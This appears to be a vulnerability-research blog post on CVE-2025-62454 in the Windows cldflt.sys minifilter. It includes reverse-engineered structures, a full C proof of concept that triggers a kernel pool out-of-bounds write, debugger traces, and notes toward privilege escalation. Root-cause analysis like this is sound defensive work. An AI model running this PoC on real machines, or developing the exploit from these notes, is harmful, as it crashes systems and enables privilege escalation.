Looking at the disassembly, this function is responsible for interpreting the opaque user-mode buffer passed through InputSystemBuffer.

Immediately after initialization and WPP telemetry collection, it performs the following validations:

HSM lock-property structure checks

At this point we learn that our input buffer is not just a flat header. It has a header plus array layout:

  • Offset 0x10 (HeaderSize): A DWORD indicating where the header ends and the array begins. It must be at least 0x20.
  • Offset 0x14 (NumberOfElements): A DWORD indicating how many elements, or properties, we are sending. It must be greater than zero.
  • Element size: The check (InputBufferLen - HeaderSize) / NumberOfElements < 24 tells us that each array element must be at least 24 bytes.

With these clues, plus the fact that offset +0x08 is used as the lock-type flag and offset +0x18 is used as a timeout, we can evolve the test structure into the final payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct HSM_PROPERTY_ELEMENT { // Size: 0x18
    DWORD PropertyId;
    BYTE  PropertyData[20];  // Not used here, so we do not care
} HSM_PROPERTY_ELEMENT;

typedef struct HSM_CONTROL_STRUCT {
    DWORD HsmControlValue;
    DWORD FsCtlCode;
    BYTE Flags;              // Used to check shared/exclusive lock
    BYTE Padding[7];
    DWORD HeaderSize;        // Must be >= 0x20
    DWORD NumOfElements;
    LONGLONG Timeout;        // If not defined, KeQueryUnbiasedInterruptTime is used
    HSM_PROPERTY_ELEMENT Elements[5]; // Final size: 0x20 + 0x18 * 5 = 0x98
} HSM_CONTROL_STRUCT;

Once the driver validates the buffer, it starts moving our request into kernel memory. This is where it creates the structures that will later trigger the overflow.

Kernel-side lock request allocation

The driver stores a pointer to our FILE_OBJECT, then the flag, then the timeout. The timeout does not need to be explicitly set because the driver can fall back to KeQueryUnbiasedInterruptTime.

Lock request fields extracted from the input buffer The driver does not keep locks floating around globally. It anchors them to the file. To do this, it retrieves the FileContext created by HsmiOpPrepareOperation and checks offset +0xe0.

FileContext lock manager pointer

If this is the first request for the file, the driver allocates 0x70 bytes for a main Lock Manager structure and stores it in the file context.

Lock Manager allocation

With our lock request prepared and the file’s LockManager initialized, the driver tries to insert our request into the active owner list.

Because we use a shared lock (Flags = 0), there is no initial conflict in HsmiDoesLockRequestConflictWIthExistingLocks, and execution finally reaches HsmiGrantLockRequest.

Call into HsmiGrantLockRequest

Root Cause: HsmiGrantLockRequest

The purpose of HsmiGrantLockRequest is simple: add our request to the list of active owners for a property.

Since multiple processes can lock the same property of the same file, the driver uses a dynamic array to store owner pointers. Like every dynamic array in C, when it fills up, it needs to grow.

Before expanding memory, the driver performs several logical checks:

Checks before expanding the owner array

For the driver to call the kernel allocator (ExAllocatePool2), all of these conditions must evaluate to false.

Condition 1: Shared vs. exclusive lock

1
*(char *)(block_ticket + 1) != '\0'

This checks whether the Flags field at offset +0x08 is different from zero.

To make this false, our buffer must request a shared lock. That is why the PoC sets:

1
payload.Flags = 0;

Condition 2: Owner count is zero

1
uVar16 = *(uint *)((longlong)pppplVar13 + 0x14), uVar16 == 0

This loads the current number of owners registered for the property and checks whether it is zero.

To make this false, the array must already contain at least one owner before the final triggering request.

Condition 3: There is free capacity

1
uVar16 < *(uint *)(pppplVar13 + 4)

This checks whether CurrentCount is lower than MaxCapacity, stored at offset +0x04. In other words, it checks whether there is free space in the current owner array.

To make this false, the array must be full. CurrentCount must equal MaxCapacity.

Condition 4: The current handle already owns the lock

1
HsmiIsLockOwned((longlong)pppplVar13, (ulonglong *)block_ticket)

This function walks the current owner list and checks whether the FILE_OBJECT, which identifies our handle, is already registered.

To make this false, every triggering request must come from a new handle. Reusing the same handle does not work because the function would return true.

Immediately below these checks, execution enters the memory expansion logic. This is the mistake that caused the CVE.

       14005189a b8  02  00       MOV        EAX ,0x2
                 00  00
       14005189f b9  00  01       MOV        LockManager ,0x100
                 00  00
       1400518a4 44  3b  d0       CMP        R10D ,EAX
       1400518a7 41  b8  48       MOV        out ,0x72507348
                 73  50  72
       1400518ad 41  0f  42       CMOVC      EAX ,R10D
                 c2
       1400518b1 44  8d  3c       LEA        R15D ,[RAX  + RAX *0x1 ]
                 00
       1400518b5 42  8d  14       LEA        block_ticket ,[R15 *0x8 ]
                 fd  00  00
                 00  00
       1400518bd 48  ff  15       CALL       qword ptr [-> NTOSKRNL.EXE::ExAllocatePool2 ]    = 000308ba
                 4c  e1  fd
                 ff

The code compares EAX (always 2) with R10 (the number of registered owners) and takes the minimum. Then it multiplies by 2 and by 8, which means by 16 overall.

Because of the wrong min logic, the allocation is capped at 32 bytes. No matter how many owners exist, the owner array will never grow beyond space for four 64-bit pointers.

After allocating the new array, the driver copies the old contents and frees the previous allocation.

Copying old owner pointers into the new array

Then, believing there is enough room, it writes the new FILE_OBJECT pointer.

Writing the new FILE_OBJECT pointer

In pseudocode:

1
Array[4] = NextFileObject;

Writing index 4 means writing the fifth element. The CPU stores an 8-byte pointer at offset 0x20, which is byte 32 of the allocation. But a 32-byte allocation ends at byte 31.

So we have written an 8-byte pointer fully outside the bounds of the Paged Pool allocation.

This out-of-bounds write corrupts the metadata of the adjacent pool chunk, specifically the neighboring _POOL_HEADER, which later crashes the system when the corrupted block is touched or freed.

Final PoC

The final PoC differs from the initial one in three important ways:

  1. It uses the real HSM validation value, 0x9000001a (IO_REPARSE_TAG_CLOUD).
  2. It sends a complete HSM_CONTROL_STRUCT with the fields required by HsmFltProcessLockProperties.
  3. It opens five independent handles to the same target file and sends the same lock request through each handle. This is required because HsmiIsLockOwned rejects repeated requests from the same FILE_OBJECT.

The first four handles fill the owner array. The fifth handle triggers the out-of-bounds write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <windows.h>
#include <stdio.h>
#include <cfapi.h>

#pragma comment(lib, "Cldapi.lib")

#define FSCTL_CODE 0x903BC
#define HSM_CONTROL_VALUE 0x9000001a
#define OPCODE 0xC0000021

#define HANDLES_TO_OPEN 5


typedef struct HSM_PROPERTY_ELEMENT {
    DWORD PropertyId;
    BYTE  PropertyData[20];  // Not used here, so we do not care
} HSM_PROPERTY_ELEMENT;

typedef struct HSM_CONTROL_STRUCT {
    DWORD HsmControlValue;
    DWORD FsCtlCode;
    BYTE Flags;
    BYTE Padding[7];
    DWORD HeaderSize;
    DWORD NumOfElements;
    LONGLONG Timeout; // If not defined, KeQueryUnbiasedInterruptTime is used
    HSM_PROPERTY_ELEMENT Elements[5]; // Final size: 0x98
} HSM_CONTROL_STRUCT;



HANDLE g_handles[HANDLES_TO_OPEN] = { 0 };

int main() {

    // Define the public path for the Sync Root
    LPCWSTR SyncRootPath = L"C:\\Users\\Public\\SYNC_ROOT_TEST";

    // Folder creation
    CreateDirectoryW(SyncRootPath, NULL);

    // Configure the provider
    CF_SYNC_REGISTRATION Registration = { 0 };
    Registration.StructSize = sizeof(Registration);
    Registration.ProviderName = L"RotceCloud";
    Registration.ProviderVersion = L"1.0";

    // Configure very permissive policies
    CF_SYNC_POLICIES Policies = { 0 };
    Policies.StructSize = sizeof(Policies);
    Policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    Policies.InSync = CF_INSYNC_POLICY_NONE;
    Policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
    Policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    Policies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CREATE_UNRESTRICTED |
        CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED |
        CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    printf("[+] Registering Sync Root in: %ls\n", SyncRootPath);

    // Register it
    HRESULT hr = CfRegisterSyncRoot(SyncRootPath, &Registration, &Policies, CF_REGISTER_FLAG_NONE);
    if (FAILED(hr)) {
        printf("[-] Error registering. HRESULT: 0x%08X\n", hr);
        return -1;
    }
    printf("[+] Sync Root registered.\n");

    // Connect it to the driver
    CF_CALLBACK_REGISTRATION callbackTable[] = { CF_CALLBACK_REGISTRATION_END };
    CF_CONNECTION_KEY key = { 0 };

    hr = CfConnectSyncRoot(SyncRootPath, callbackTable, NULL, CF_CONNECT_FLAG_NONE, &key);
    if (FAILED(hr)) {
        printf("[-] Error connecting. HRESULT: 0x%08X\n", hr);
        return -1;
    }

    printf("[+] Driver cldflt.sys connected and monitoring folder.\n");

    // Create a physical file that will serve as our target file
    LPCWSTR TestFilePath = L"C:\\Users\\Public\\SYNC_ROOT_TEST\\target.txt";

    for (int i = 0; i < HANDLES_TO_OPEN; i++) {
        HANDLE hFile = CreateFileW(TestFilePath, GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            printf("[-] Error creating the file.\n");
            CloseHandle(hFile);
            return -1;
        }
        g_handles[i] = hFile;
    }
    printf("[+] All handles successfully obtained.\n");

    printf("[+] Sending the FSCTL code.\n");

    // Trigger the vulnerable path
    HSM_CONTROL_STRUCT Struct = { 0 };
    Struct.HsmControlValue = HSM_CONTROL_VALUE;
    Struct.FsCtlCode = OPCODE;
    Struct.Flags = 0;
    Struct.HeaderSize = 0x20;
    Struct.NumOfElements = 1;
    Struct.Timeout = 0;
    Struct.Elements[0].PropertyId = 0x11223344;

    for (int i = 0; i < HANDLES_TO_OPEN; i++) {
        DWORD bytesReturned = 0;

        BOOL bResult = DeviceIoControl(
            g_handles[i],
            FSCTL_CODE,
            &Struct,
            sizeof(Struct),
            NULL,
            0,
            &bytesReturned,
            NULL
        );

        if (!bResult) {
            printf("[-] Error sending the FSCTL code. Error: 0x%lu\n", GetLastError());
            return -1;
        }
    }
    printf("[+] All FSCTL codes were sent correctly.\n");

    // Cleanup
    printf("[*] Cleaning up the environment and leaving the program...\n");

    for (int i = 0; i < HANDLES_TO_OPEN; i++) {
        CloseHandle(g_handles[i]);
    }
    CfDisconnectSyncRoot(key);
    CfUnregisterSyncRoot(SyncRootPath);
    DeleteFileW(TestFilePath);
    RemoveDirectoryW(SyncRootPath);

    return 0;
}

Let’s execute the PoC and break in HsmiGrantLockRequest.

One subtle detail matters before reading the debugger output: the first handle is stored inline in the initial lock node, so it does not hit the external array allocation path. The breakpoints below correspond to handles 2, 3, 4, and 5.

Iteration 1 (Processing Handle 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
3: kd> p
cldflt!HsmiGrantLockRequest+0x2b8:
fffff807`2ab878dc 443bd0          cmp     r10d,eax
3: kd> r r10
r10=0000000000000001
3: kd> r rax
rax=0000000000000002

cldflt!HsmiGrantLockRequest+0x2c1:
fffff807`2ab878e5 410f42c2        cmovb   eax,r10d
3: kd> p
cldflt!HsmiGrantLockRequest+0x2c5:
fffff807`2ab878e9 448d3c00        lea     r15d,[rax+rax]
3: kd> r rax
rax=0000000000000001

Because 1 < 2, the driver allocates 1 * 16 = 16 bytes. It moves the first inline FILE_OBJECT pointer into this new array and appends the second one. The capacity is 2, so it is already full.

Iteration 2 (Processing Handle 3)

1
2
3
4
3: kd> r r10
r10=0000000000000002
3: kd> r rax
rax=0000000000000002

Now r10 is 2, meaning there are two existing owners. The driver expands the array to 32 bytes, copies the previous two pointers, and appends the third FILE_OBJECT. The capacity is now 4, so there are 8 bytes free.

Iteration 3 (Processing Handle 4)

The driver does not enter the expansion block because CurrentCount is 3 and MaxCapacity is 4. There is still one free slot, so it simply inserts the fourth FILE_OBJECT pointer. The array is now full.

Iteration 4 (Processing Handle 5 - The Bug)

1
2
3
4
5
6
7
8
9
10
11
12
13
2: kd> r r10
r10=0000000000000004
2: kd> r rax
rax=0000000000000002

2: kd> p
cldflt!HsmiGrantLockRequest+0x2c1:
fffff807`2ab878e5 410f42c2        cmovb   eax,r10d
2: kd> p
cldflt!HsmiGrantLockRequest+0x2c5:
fffff807`2ab878e9 448d3c00        lea     r15d,[rax+rax]
2: kd> r rax
rax=0000000000000002

Now r10 is 4, meaning there are already four owners. The driver computes min(4, 2), allocates 32 bytes again, and copies the four existing FILE_OBJECT pointers. The new allocation is instantly full.

Iteration 5 (The OOB Write)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
3: kd> g
Breakpoint 0 hit
cldflt!HsmiGrantLockRequest+0x254:
fffff807`2ab87878 4a8904f9        mov     qword ptr [rcx+r15*8],rax

3: kd> !pool @rcx
Pool page ffff870bb8254840 region is Paged pool
(...)
 ffff870bb8254800 size:   30 previous size:    0  (Free)       SeSd
*ffff870bb8254830 size:   30 previous size:    0  (Allocated) *HsPr
        Owning component : Unknown (update pooltag.txt)
 ffff870bb8254860 size:   30 previous size:    0  (Free)       SeSd

3: kd> dq @rcx l4
ffff870b`b8254840  ffffe10d`2a8355f0 ffffe10d`2c0619a0
ffff870b`b8254850  ffffe10d`2c5e2cd0 ffffe10d`2c78ab50

3: kd> r rax
rax=ffffe10d2c937e90

3: kd> dt nt!_FILE_OBJECT ffffe10d`2c937e90
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe10d`26dd2060 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe10d`26da61f0 _VPB
   +0x018 FsContext        : 0xffff870b`b82f87c0 Void
   +0x020 FsContext2       : 0xffff870b`b34a9840 Void
   +0x028 SectionObjectPointer : 0xffffe10d`2d2639d8 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : (null)
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null)
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0x1 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0x1 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x40042
   +0x058 FileName         : _UNICODE_STRING "\Users\Public\SYNC_ROOT_TEST\target.txt"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 1
   +0x078 LastLock         : (null)
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null)
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe10d`2c937f50 - 0xffffe10d`2c937f50 ]
   +0x0d0 FileObjectExtension : (null)

3: kd> p
cldflt!HsmiGrantLockRequest+0x258:
fffff807`2ab8787c ff4714          inc     dword ptr [rdi+14h]

3: kd> dq @rcx l6
ffff870b`b8254840  ffffe10d`2a8355f0 ffffe10d`2c0619a0
ffff870b`b8254850  ffffe10d`2c5e2cd0 ffffe10d`2c78ab50
ffff870b`b8254860  ffffe10d`2c937e90 00000000`ae23abc2  <-- OOB WRITE !!! (POOL_HEADER corrupted)

No larger allocation was made. If the resize logic were correct, the fifth element would fit inside a larger array. Instead, as the memory dump shows, the 32-byte chunk is already completely filled with the four previous pointers. The driver then writes the fifth FILE_OBJECT pointer from RAX into the first 8 bytes of the adjacent chunk’s _POOL_HEADER.

This corrupts pool metadata and crashes the system.

Crash after pool corruption

Exploitability Notes

At this point we understand the root cause well enough to start thinking about a full LPE exploit. I do not want this post to become too long, so I will leave the actual exploit as an exercise for the reader. Still, it is worth summarizing the primitive and the constraints that would matter during exploitation.

The primitive is an out-of-bounds write from a 0x30-byte Paged Pool allocation. The allocation belongs to a KLFH bucket, and the intended buffer only has room for four 64-bit owner pointers.

This is not an arbitrary write with attacker-controlled bytes. The value written out of bounds is a kernel pointer to a FILE_OBJECT associated with one of the handles opened by the PoC. That has important consequences:

  • We control when new pointers are inserted, but not the raw pointer value. The written value is naturally shaped like a valid kernel pointer, not like arbitrary data.
  • The pointed FILE_OBJECT lifetime is tied to the corresponding user-mode handle, so the handles must stay open while the corrupted state is being used.

That makes the bug more restrictive than a classic “write what where” primitive, but still interesting. A constrained kernel pointer write can be useful if the adjacent object has a field where a FILE_OBJECT pointer is meaningful, tolerated, or later interpreted as another pointer-like value.

Moreover, the memcpy behavior makes the corruption worse as we add handles. With four handles to the same file and PropertyId, the owner array is full but still valid. The fifth handle writes one FILE_OBJECT pointer out of bounds. The sixth handle first copies five pointers into an array sized for four, then appends the sixth pointer out of bounds. The seventh repeats the pattern with six copied pointers and a seventh appended pointer.

This matters because the first OOB write lands at offset 0x20 from the usable buffer. In the observed layout, the chunk is 0x30 bytes total: 0x10 bytes of pool header plus 0x20 bytes of data. So the fifth write hits the next chunk’s pool header, not a clean victim field. To reach past that header and touch the next allocation’s body, we need at least seven handles, but by then the fifth and sixth requests have already corrupted intermediate chunks. Since 0x20 usable allocations are very common, there are many possible neighbors, but also a lot of allocator noise and many chances to bugcheck before the corrupted state becomes useful.

Bibliography and Conclusion

This wraps up the root cause analysis of CVE-2025-62454. We started from a patch diff, narrowed the interesting changes down to HsmiGrantLockRequest, reconstructed the path needed to reach it from user mode, and ended with a PoC that triggers the out-of-bounds write in the Paged Pool.

Minifilter drivers are a deep topic, and this post only scratches the surface. If you want to keep digging into Windows internals, vulnerability research, and exploit development, I highly recommend Alexandre Borges’ Exploit Reversing series. His work has been extremely valuable to the community and was an important reference while preparing this post.


That’s all for now. Hope you found this useful! And remember,

"Do hard things"
This post is licensed under CC BY 4.0 by the author.

Trending Tags